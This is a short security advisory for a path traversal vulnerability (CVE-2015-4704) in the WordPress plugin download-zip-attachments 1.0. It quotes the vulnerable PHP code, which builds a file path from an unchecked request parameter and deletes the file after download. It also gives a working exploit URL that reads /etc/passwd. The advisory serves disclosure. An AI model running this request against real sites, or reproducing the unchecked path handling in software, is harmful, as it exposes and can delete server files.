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Download Zip Attachments 1.0 File Download

Posted on 27 June 2015

Title: Remote file download vulnerability in download-zip-attachments v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-10
Download Site: https://wordpress.org/plugins/download-zip-attachments/
Vendor: rivenvirus
Vendor Notified: 2015-06-15
Vendor Contact: https://profiles.wordpress.org/rivenvirus/
Advisory: http://www.vapid.dhs.org/advisory.php?v=129
Description:
Download all attachments from the post into a zip file.

Vulnerability:
from download-zip-attachments/download.php makes no checks to verify the download path is with in the specified upload directory.

<?php
if(isset($_REQUEST['File']) && !empty($_REQUEST['File'])){
 define('WP_USE_THEMES', false);
 require('../../../wp-load.php');
 require "create_zip_file.php";
 $uploads = wp_upload_dir();
 $tmp_location = $uploads['path']."/".$_REQUEST['File'];
 //echo $tmp_location;
 $zip = new CreateZipFile;
 $zip->forceDownload($tmp_location,false);
 unlink($tmp_location);
 exit;
}

CVEID: 2015-4704
OSVDB:
Exploit Code:
 • http://www.example.com/wp-content/plugins/download-zip-attachments/download.php?File=../../../../../../../../etc/passwd

 

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